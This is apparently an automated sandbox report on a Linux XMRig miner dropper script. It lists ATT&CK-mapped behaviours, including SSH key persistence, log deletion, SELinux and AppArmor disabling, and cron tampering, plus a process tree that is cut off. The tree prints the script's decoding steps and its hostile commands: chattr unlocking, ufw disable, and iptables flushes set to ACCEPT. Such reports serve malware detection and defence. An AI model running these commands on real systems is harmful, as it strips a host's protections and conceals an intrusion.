xmrig_linux | 5366dbec88d547b24d3673593331ead29bc87447fb688b494f9e604699e5f25c

Analysis

max time kernel
45s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
13/09/2026, 17:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh
Size 845KB
Sample260913-v91azabl4s
SHA256 5366dbec88d547b24d3673593331ead29bc87447fb688b494f9e604699e5f25c
MD5 8f15aff4f18fa30fff48546c55ab0451
SHA1 946110201a5e3d2715efa73ba04894fa34a38090
SHA512 e2c80fc2e6474b38e03990854e951958d66e4a116cb967890fb54b18a70c60854eb33bb02ea9b3e3c9b465f273606d1105cfcf033b17afb1a911465fb43b2e18
SSDEEP 24576:n4Y/f/tir8ZLQbdyUHiw5y3dSkohUv2653DmIfke0:l/o8ZatHiw5ycMVmKke0
TLSH
T14A052348E11B8C78ED4E3C8CE49EEFDD192420A28B55E1471A65346EBE347DC806B75F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig_linux miner persistence privilege_escalation rootkit

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig_linux

Adds new SSH keys 1 TTPs 1 IoCs

Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

persistence privilege_escalation

SSH Authorized Keys

T1098.004

description	ioc	Process
File opened for modification	/root/.ssh/authorized_keys	bash

File and Directory Permissions Modification 1 TTPs 9 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1521	chmod
1522	chmod
3805	Process not Found
3836	Process not Found
3842	Process not Found
3845	Process not Found
1523	chmod
3808	Process not Found
3811	Process not Found

Deletes system logs 1 TTPs 1 IoCs

Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/syslog	rm

Disables AppArmor Mandatory Access Control 1 TTPs 64 IoCs

Stops or disables AppArmor via systemctl, removing mandatory access control restrictions on process capabilities and file access.

Disable or Modify Tools

T1562.001

pid	Process
3274	Process not Found
3277	Process not Found
3307	Process not Found
3307	Process not Found
3048	Process not Found
3137	Process not Found
3139	Process not Found
3159	Process not Found
3134	Process not Found
1796	systemctl
3116	Process not Found
3120	Process not Found
3254	Process not Found
3284	Process not Found
3366	Process not Found
1733	systemctl
1796	systemctl
1850	systemctl
3106	Process not Found
3143	Process not Found
3275	Process not Found
3276	Process not Found
3372	Process not Found
1842	systemctl
3155	Process not Found
3134	Process not Found
3269	Process not Found
3284	Process not Found
3118	Process not Found
3122	Process not Found
3123	Process not Found
3359	Process not Found
3134	Process not Found
3145	Process not Found
3156	Process not Found
3268	Process not Found
3254	Process not Found
3307	Process not Found
3348	Process not Found
1849	systemctl
3133	Process not Found
3134	Process not Found
3284	Process not Found
3358	Process not Found
3370	Process not Found
1844	systemctl
1852	systemctl
1837	systemctl
3115	Process not Found
3126	Process not Found
3266	Process not Found
3368	Process not Found
3348	Process not Found
1837	systemctl
3109	Process not Found
3149	Process not Found
3150	Process not Found
3263	Process not Found
3351	Process not Found
3363	Process not Found
3374	Process not Found
3158	Process not Found
3307	Process not Found
1848	systemctl

Executes dropped EXE 1 IoCs

ioc	pid	Process
/etc/zzh	3841	bash

Flushes firewall rules 1 TTPs 64 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
1571	iptables
1592	iptables
1629	ip6tables
1662	ip6tables
1684	ip6tables
1688	ip6tables
1530	ufw
1553	iptables
1580	iptables
1633	ip6tables
1643	ip6tables
1572	iptables
1594	iptables
1677	ip6tables
1701	ip6tables
3849	Process not Found
1541	iptables
1600	iptables
1614	iptables
1647	ip6tables
1671	ip6tables
1565	iptables
1575	iptables
1599	iptables
1623	ip6tables
1669	ip6tables
1533	iptables
1570	iptables
1642	ip6tables
1645	ip6tables
1650	ip6tables
1666	ip6tables
3851	Process not Found
1551	iptables
1556	iptables
1680	ip6tables
1586	iptables
1611	iptables
1615	iptables
1634	ip6tables
1639	ip6tables
1674	ip6tables
1597	iptables
1610	iptables
1631	ip6tables
1526	iptables
1558	iptables
1582	iptables
1679	ip6tables
1694	ip6tables
1588	iptables
1621	ip6tables
1656	ip6tables
1672	ip6tables
1691	ip6tables
3306	Process not Found
1589	iptables
1640	ip6tables
1654	ip6tables
1681	ip6tables
1692	ip6tables
1700	ip6tables
1555	iptables
1574	iptables

Loads a kernel module 1 IoCs

Loads a Linux kernel module, potentially to achieve persistence

rootkit

ioc	pid	Process
/lib/modules/4.15.0-213-generic/kernel/net/ipv6/netfilter/ip6_tables.ko	1536	modprobe

Writes DNS configuration 1 TTPs 1 IoCs

Writes data to DNS resolver config file.

Adversary-in-the-Middle

T1557

description	ioc	Process
File opened for modification	/etc/resolv.conf	bash

Creates/modifies Cron job 1 TTPs 4 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/crontab	bash
File opened for modification	/etc/cron.daily/logrotate	bash
File opened for modification	/etc/cron.hourly/0anacron	bash
File opened for modification	/etc/cron.d/zzh	bash

Deletes log files 1 TTPs 2 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File truncated	/var/log/wtmp	bash
File truncated	/var/log/secure	bash

Disables SELinux 1 TTPs 5 IoCs

Disables SELinux security module.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
1732	setenforce
2256	grep
2368	grep
2680	Process not Found
2700	Process not Found

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.d/rc.local	bash

Removes the immutable protection flag from a file 1 TTPs 64 IoCs

Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
2756	Process not Found
2183	xargs
2380	xargs
2469	xargs
2780	Process not Found
3123	Process not Found
3237	Process not Found
3800	Process not Found
1750	systemctl
2504	xargs
2838	Process not Found
3225	Process not Found
1705	chattr
2193	xargs
2637	Process not Found
2764	Process not Found
3245	Process not Found
3253	Process not Found
3817	Process not Found
1915	xargs
2223	xargs
2268	xargs
1697	ip6tables
1910	xargs
2489	xargs
3388	Process not Found
2072	xargs
2474	xargs
2677	Process not Found
2852	Process not Found
3181	Process not Found
3831	Process not Found
1704	chattr
2317	xargs
2732	Process not Found
3822	Process not Found
2025	xargs
2148	xargs
2238	xargs
2370	xargs
2601	Process not Found
2736	Process not Found
2862	Process not Found
3046	Process not Found
1771	systemd-sysv-install
1925	xargs
1970	chattr
2173	xargs
2530	xargs
3209	Process not Found
1546	iptables
1645	ip6tables
1706	chattr
1964	chattr
2278	xargs
2850	Process not Found
3166	Process not Found
3193	Process not Found
1583	iptables
2082	xargs
2133	xargs
2233	xargs
2741	Process not Found
2818	Process not Found

Write file to user bin folder 6 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/rctlcli	bash
File opened for modification	/usr/bin/systemd-network	bash
File opened for modification	/usr/bin/pamdicks	bash
File opened for modification	/usr/bin/ip6network	bash
File opened for modification	/usr/bin/kswaped	bash
File opened for modification	/usr/bin/irqbalanced	bash

Writes file to system bin folder 6 IoCs

description	ioc	Process
File opened for modification	/bin/top	bash
File opened for modification	/bin/top	Process not Found
File opened for modification	/bin/pstree	bash
File opened for modification	/bin/pstree	Process not Found
File opened for modification	/bin/ps	bash
File opened for modification	/bin/ps	Process not Found

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1517	base64

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	(sysv-install)	1771	systemctl
Changes the process name, possibly in an attempt to hide itself	(sysv-install)	3281	Process not Found

Discovers running processes 1 TTPs 64 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2194	ps
2470	ps
2561	ps
2584	Process not Found
1906	ps
1936	ps
2144	ps
2638	Process not Found
2653	Process not Found
2214	ps
2334	ps
2421	ps
2480	ps
1864	ps
2406	ps
2447	ps
2500	ps
2525	ps
2578	Process not Found
2174	ps
2386	ps
2431	ps
1951	ps
2590	Process not Found
2098	ps
2124	ps
2279	ps
2308	ps
2339	ps
2416	ps
2531	ps
2555	ps
2284	ps
2313	ps
2371	ps
2411	ps
3375	Process not Found
2083	ps
2104	ps
2149	ps
2303	ps
2318	ps
2510	ps
2537	ps
2643	Process not Found
1730	ps
1882	ps
1921	ps
1926	ps
2234	ps
2452	ps
1874	ps
2219	ps
2254	ps
2663	Process not Found
2567	Process not Found
2573	Process not Found
2608	Process not Found
2134	ps
2209	ps
2346	ps
2458	ps
2515	ps
1890	ps

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found

Enumerates kernel/hardware configuration 1 TTPs 6 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	Process not Found
File opened for reading	/sys/module/ip6_tables/initstate	modprobe
File opened for reading	/sys/module/x_tables/initstate	modprobe
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	Process not Found
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	Process not Found
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	Process not Found

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/176/status	ps
File opened for reading	/proc/84/stat	ps
File opened for reading	/proc/213/cmdline	ps
File opened for reading	/proc/2557/stat	ps
File opened for reading	/proc/501/stat	Process not Found
File opened for reading	/proc/181/cmdline	Process not Found
File opened for reading	/proc/31/status	Process not Found
File opened for reading	/proc/439/cmdline	ps
File opened for reading	/proc/279/status	ps
File opened for reading	/proc/921/status	ps
File opened for reading	/proc/7/status	ps
File opened for reading	/proc/1098/stat	ps
File opened for reading	/proc/556/status	Process not Found
File opened for reading	/proc/13/cmdline	Process not Found
File opened for reading	/proc/1165/status	Process not Found
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/29/status	ps
File opened for reading	/proc/28/status	Process not Found
File opened for reading	/proc/1098/cmdline	Process not Found
File opened for reading	/proc/78/status	ps
File opened for reading	/proc/1005/status	Process not Found
File opened for reading	/proc/1059/cmdline	Process not Found
File opened for reading	/proc/996/status	Process not Found
File opened for reading	/proc/179/stat	ps
File opened for reading	/proc/501/stat	ps
File opened for reading	/proc/1059/cmdline	ps
File opened for reading	/proc/1047/cmdline	Process not Found
File opened for reading	/proc/1098/status	Process not Found
File opened for reading	/proc/29/stat	ps
File opened for reading	/proc/1509/status	ps
File opened for reading	/proc/1064/cmdline	ps
File opened for reading	/proc/1092/cmdline	Process not Found
File opened for reading	/proc/2727/stat	Process not Found
File opened for reading	/proc/176/status	Process not Found
File opened for reading	/proc/177/status	Process not Found
File opened for reading	/proc/7/stat	ps
File opened for reading	/proc/948/cmdline	ps
File opened for reading	/proc/212/cmdline	Process not Found
File opened for reading	/proc/1117/status	Process not Found
File opened for reading	/proc/1/stat	ps
File opened for reading	/proc/1043/status	ps
File opened for reading	/proc/494/status	Process not Found
File opened for reading	/proc/996/status	Process not Found
File opened for reading	/proc/1108/status	ps
File opened for reading	/proc/sys/kernel/osrelease	ps
File opened for reading	/proc/31/status	ps
File opened for reading	/proc/497/status	Process not Found
File opened for reading	/proc/535/status	Process not Found
File opened for reading	/proc/83/cmdline	Process not Found
File opened for reading	/proc/477/cmdline	Process not Found
File opened for reading	/proc/177/cmdline	ps
File opened for reading	/proc/7/status	ps
File opened for reading	/proc/690/cmdline	ps
File opened for reading	/proc/1371/stat	Process not Found
File opened for reading	/proc/1217/cmdline	Process not Found
File opened for reading	/proc/15/cmdline	ps
File opened for reading	/proc/988/status	ps
File opened for reading	/proc/1005/cmdline	Process not Found
File opened for reading	/proc/682/cmdline	Process not Found
File opened for reading	/proc/1108/status	ps
File opened for reading	/proc/13/cmdline	Process not Found
File opened for reading	/proc/137/status	Process not Found
File opened for reading	/proc/cmdline	Process not Found

System Network Configuration Discovery 1 TTPs 8 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
2497	grep
3006	Process not Found
3855	Process not Found
1536	modprobe
1960	chattr
1966	chattr
2251	grep
2281	grep

Writes file to tmp directory 37 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fileutl.message.Vy4Zq3	Process not Found
File opened for modification	/tmp/fileutl.message.mhuysp	Process not Found
File opened for modification	/tmp/fileutl.message.sCZdJK	Process not Found
File opened for modification	/tmp/fileutl.message.nX75QM	Process not Found
File opened for modification	/tmp/fileutl.message.3Lyjkh	Process not Found
File opened for modification	/tmp/dev/null	bash
File opened for modification	/tmp/kdevtmpfsi	bash
File opened for modification	/tmp/fileutl.message.0bzjsj	Process not Found
File opened for modification	/tmp/fileutl.message.qDM4We	Process not Found
File opened for modification	/tmp/fileutl.message.dwoTwi	Process not Found
File opened for modification	/tmp/fileutl.message.UgRWD4	Process not Found
File opened for modification	/tmp/fileutl.message.muAbku	Process not Found
File opened for modification	/tmp/fileutl.message.hN5ipz	Process not Found
File opened for modification	/tmp/fileutl.message.sdBKiD	Process not Found
File opened for modification	/tmp/fileutl.message.olAck7	Process not Found
File opened for modification	/tmp/fileutl.message.8Yi65U	Process not Found
File opened for modification	/tmp/fileutl.message.kYX9GE	Process not Found
File opened for modification	/tmp/svcguard	bash
File opened for modification	/tmp/fileutl.message.Ad1PJZ	Process not Found
File opened for modification	/tmp/fileutl.message.mvIGwy	Process not Found
File opened for modification	/tmp/fileutl.message.OCpITb	Process not Found
File opened for modification	/tmp/fileutl.message.z7qHoO	Process not Found
File opened for modification	/tmp/fileutl.message.yFvhYF	Process not Found
File opened for modification	/tmp/svcupdate	bash
File opened for modification	/tmp/fileutl.message.8oTk8F	Process not Found
File opened for modification	/tmp/fileutl.message.mzLpCm	Process not Found
File opened for modification	/tmp/fileutl.message.4Tj0sV	Process not Found
File opened for modification	/tmp/fileutl.message.ojFbWW	Process not Found
File opened for modification	/tmp/fileutl.message.GyNG0b	Process not Found
File opened for modification	/tmp/fileutl.message.gOBGcS	Process not Found
File opened for modification	/tmp/fileutl.message.EQZBXq	Process not Found
File opened for modification	/tmp/fileutl.message.Iz9oMN	Process not Found
File opened for modification	/tmp/fileutl.message.JiORFx	Process not Found
File opened for modification	/tmp/fileutl.message.4eWcga	Process not Found
File opened for modification	/tmp/fileutl.message.TSlz41	Process not Found
File opened for modification	/tmp/tmp.yHkhRe5eS3/embedded.sh	bash
File opened for modification	/tmp/fileutl.message.0A4fUq	Process not Found

Software Deployment Tools 1 TTPs 1 IoCs

Use software deployment tools to execute code.

execution

Software Deployment Tools

T1072

pid	Process
3897	Process not Found

/tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh
/tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh
1⤵
PID:1512

/usr/local/sbin/bash
bash /tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh
1⤵
PID:1512

/usr/local/bin/bash
bash /tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh
1⤵
PID:1512

/usr/sbin/bash
bash /tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh
1⤵
PID:1512

/usr/bin/bash
bash /tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh
1⤵
PID:1512

/sbin/bash
bash /tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh
1⤵
PID:1512

/bin/bash
bash /tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh
1⤵
- Writes file to tmp directory
PID:1512
- /bin/mktemp
  mktemp -d
  2⤵
  PID:1515
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1517
- /usr/bin/python3
  python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
  2⤵
  PID:1518
- /bin/chmod
  chmod +x /tmp/tmp.yHkhRe5eS3/embedded.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1521

/bin/bash
bash /tmp/tmp.yHkhRe5eS3/embedded.sh
1⤵
- Adds new SSH keys
- Executes dropped EXE
- Writes DNS configuration
- Creates/modifies Cron job
- Deletes log files
- Modifies rc script
- Write file to user bin folder
- Writes file to system bin folder
- Writes file to tmp directory
PID:1512
- /bin/chmod
  chmod 777 /usr/bin/chattr
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /bin/chmod
  chmod 777 /bin/chattr
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  PID:1524
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  PID:1525
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:1526
- /usr/sbin/ufw
  ufw disable
  2⤵
  - Flushes firewall rules
  PID:1530
- - /sbin/iptables
    /sbin/iptables -V
    3⤵
    - Flushes firewall rules
    PID:1533
- - /lib/ufw/ufw-init
    /lib/ufw/ufw-init force-stop
    3⤵
    PID:1534
  - - /sbin/ip6tables
      ip6tables -L INPUT -n
      4⤵
      PID:1535
    - - /sbin/modprobe
        
        /sbin/modprobe ip6_tables
        5⤵
        Loads a kernel module
        Enumerates kernel/hardware configuration
        System Network Configuration Discovery
        
        PID:1536
  - - /sbin/iptables
      iptables -F ufw-logging-deny
      4⤵
      PID:1540
  - - /sbin/iptables
      iptables -F ufw-logging-allow
      4⤵
      Flushes firewall rules
      PID:1541
  - - /sbin/iptables
      iptables -F ufw-not-local
      4⤵
      PID:1542
  - - /sbin/iptables
      iptables -F ufw-user-logging-input
      4⤵
      PID:1543
  - - /sbin/iptables
      iptables -F ufw-user-limit-accept
      4⤵
      PID:1544
  - - /sbin/iptables
      iptables -F ufw-user-limit
      4⤵
      PID:1545
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1546
  - - /sbin/iptables
      iptables -F ufw-reject-input
      4⤵
      PID:1547
  - - /sbin/iptables
      iptables -F ufw-after-logging-input
      4⤵
      PID:1548
  - - /sbin/iptables
      iptables -F ufw-after-input
      4⤵
      PID:1549
  - - /sbin/iptables
      iptables -F ufw-user-input
      4⤵
      PID:1550
  - - /sbin/iptables
      iptables -F ufw-before-input
      4⤵
      Flushes firewall rules
      PID:1551
  - - /sbin/iptables
      iptables -F ufw-before-logging-input
      4⤵
      PID:1552
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-forward
      4⤵
      Flushes firewall rules
      PID:1553
  - - /sbin/iptables
      iptables -F ufw-reject-forward
      4⤵
      PID:1554
  - - /sbin/iptables
      iptables -F ufw-after-logging-forward
      4⤵
      Flushes firewall rules
      PID:1555
  - - /sbin/iptables
      iptables -F ufw-after-forward
      4⤵
      Flushes firewall rules
      PID:1556
  - - /sbin/iptables
      iptables -F ufw-user-logging-forward
      4⤵
      PID:1557
  - - /sbin/iptables
      iptables -F ufw-user-forward
      4⤵
      Flushes firewall rules
      PID:1558
  - - /sbin/iptables
      iptables -F ufw-before-forward
      4⤵
      PID:1559
  - - /sbin/iptables
      iptables -F ufw-before-logging-forward
      4⤵
      PID:1560
  - - /sbin/iptables
      iptables -F ufw-track-forward
      4⤵
      PID:1561
  - - /sbin/iptables
      iptables -F ufw-track-output
      4⤵
      PID:1562
  - - /sbin/iptables
      iptables -F ufw-track-input
      4⤵
      PID:1563
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-output
      4⤵
      PID:1564
  - - /sbin/iptables
      iptables -F ufw-reject-output
      4⤵
      Flushes firewall rules
      PID:1565
  - - /sbin/iptables
      iptables -F ufw-after-logging-output
      4⤵
      PID:1566
  - - /sbin/iptables
      iptables -F ufw-after-output
      4⤵
      PID:1567
  - - /sbin/iptables
      iptables -F ufw-user-logging-output
      4⤵
      PID:1568
  - - /sbin/iptables
      iptables -F ufw-user-output
      4⤵
      PID:1569
  - - /sbin/iptables
      iptables -F ufw-before-output
      4⤵
      Flushes firewall rules
      PID:1570
  - - /sbin/iptables
      iptables -F ufw-before-logging-output
      4⤵
      Flushes firewall rules
      PID:1571
  - - /sbin/iptables
      iptables -Z ufw-logging-deny
      4⤵
      Flushes firewall rules
      PID:1572
  - - /sbin/iptables
      iptables -Z ufw-logging-allow
      4⤵
      PID:1573
  - - /sbin/iptables
      iptables -Z ufw-not-local
      4⤵
      Flushes firewall rules
      PID:1574
  - - /sbin/iptables
      iptables -Z ufw-user-logging-input
      4⤵
      Flushes firewall rules
      PID:1575
  - - /sbin/iptables
      iptables -Z ufw-user-limit-accept
      4⤵
      PID:1576
  - - /sbin/iptables
      iptables -Z ufw-user-limit
      4⤵
      PID:1577
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-input
      4⤵
      PID:1578
  - - /sbin/iptables
      iptables -Z ufw-reject-input
      4⤵
      PID:1579
  - - /sbin/iptables
      iptables -Z ufw-after-logging-input
      4⤵
      Flushes firewall rules
      PID:1580
  - - /sbin/iptables
      iptables -Z ufw-after-input
      4⤵
      PID:1581
  - - /sbin/iptables
      iptables -Z ufw-user-input
      4⤵
      Flushes firewall rules
      PID:1582
  - - /sbin/iptables
      iptables -Z ufw-before-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1583
  - - /sbin/iptables
      iptables -Z ufw-before-logging-input
      4⤵
      PID:1584
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-forward
      4⤵
      PID:1585
  - - /sbin/iptables
      iptables -Z ufw-reject-forward
      4⤵
      Flushes firewall rules
      PID:1586
  - - /sbin/iptables
      iptables -Z ufw-after-logging-forward
      4⤵
      PID:1587
  - - /sbin/iptables
      iptables -Z ufw-after-forward
      4⤵
      Flushes firewall rules
      PID:1588
  - - /sbin/iptables
      iptables -Z ufw-user-logging-forward
      4⤵
      Flushes firewall rules
      PID:1589
  - - /sbin/iptables
      iptables -Z ufw-user-forward
      4⤵
      PID:1590
  - - /sbin/iptables
      iptables -Z ufw-before-forward
      4⤵
      PID:1591
  - - /sbin/iptables
      iptables -Z ufw-before-logging-forward
      4⤵
      Flushes firewall rules
      PID:1592
  - - /sbin/iptables
      iptables -Z ufw-track-forward
      4⤵
      PID:1593
  - - /sbin/iptables
      iptables -Z ufw-track-output
      4⤵
      Flushes firewall rules
      PID:1594
  - - /sbin/iptables
      iptables -Z ufw-track-input
      4⤵
      PID:1595
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-output
      4⤵
      PID:1596
  - - /sbin/iptables
      iptables -Z ufw-reject-output
      4⤵
      Flushes firewall rules
      PID:1597
  - - /sbin/iptables
      iptables -Z ufw-after-logging-output
      4⤵
      PID:1598
  - - /sbin/iptables
      iptables -Z ufw-after-output
      4⤵
      Flushes firewall rules
      PID:1599
  - - /sbin/iptables
      iptables -Z ufw-user-logging-output
      4⤵
      Flushes firewall rules
      PID:1600
  - - /sbin/iptables
      iptables -Z ufw-user-output
      4⤵
      PID:1601
  - - /sbin/iptables
      iptables -Z ufw-before-output
      4⤵
      PID:1602
  - - /sbin/iptables
      iptables -Z ufw-before-logging-output
      4⤵
      PID:1603
  - - /sbin/iptables
      iptables -X ufw-logging-deny
      4⤵
      PID:1604
  - - /sbin/iptables
      iptables -X ufw-logging-allow
      4⤵
      PID:1605
  - - /sbin/iptables
      iptables -X ufw-not-local
      4⤵
      PID:1606
  - - /sbin/iptables
      iptables -X ufw-user-logging-input
      4⤵
      PID:1607
  - - /sbin/iptables
      iptables -X ufw-user-logging-output
      4⤵
      PID:1608
  - - /sbin/iptables
      iptables -X ufw-user-logging-forward
      4⤵
      PID:1609
  - - /sbin/iptables
      iptables -X ufw-user-limit-accept
      4⤵
      Flushes firewall rules
      PID:1610
  - - /sbin/iptables
      iptables -X ufw-user-limit
      4⤵
      Flushes firewall rules
      PID:1611
  - - /sbin/iptables
      iptables -X ufw-user-input
      4⤵
      PID:1612
  - - /sbin/iptables
      iptables -X ufw-user-forward
      4⤵
      PID:1613
  - - /sbin/iptables
      iptables -X ufw-user-output
      4⤵
      Flushes firewall rules
      PID:1614
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-input
      4⤵
      Flushes firewall rules
      PID:1615
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-output
      4⤵
      PID:1616
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-forward
      4⤵
      PID:1617
  - - /sbin/iptables
      iptables -P INPUT ACCEPT
      4⤵
      PID:1618
  - - /sbin/iptables
      iptables -P OUTPUT ACCEPT
      4⤵
      PID:1619
  - - /sbin/iptables
      iptables -P FORWARD ACCEPT
      4⤵
      PID:1620
  - - /sbin/ip6tables
      ip6tables -F ufw6-logging-deny
      4⤵
      Flushes firewall rules
      PID:1621
  - - /sbin/ip6tables
      ip6tables -F ufw6-logging-allow
      4⤵
      PID:1622
  - - /sbin/ip6tables
      ip6tables -F ufw6-not-local
      4⤵
      Flushes firewall rules
      PID:1623
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-input
      4⤵
      PID:1624
  - - /sbin/ip6tables
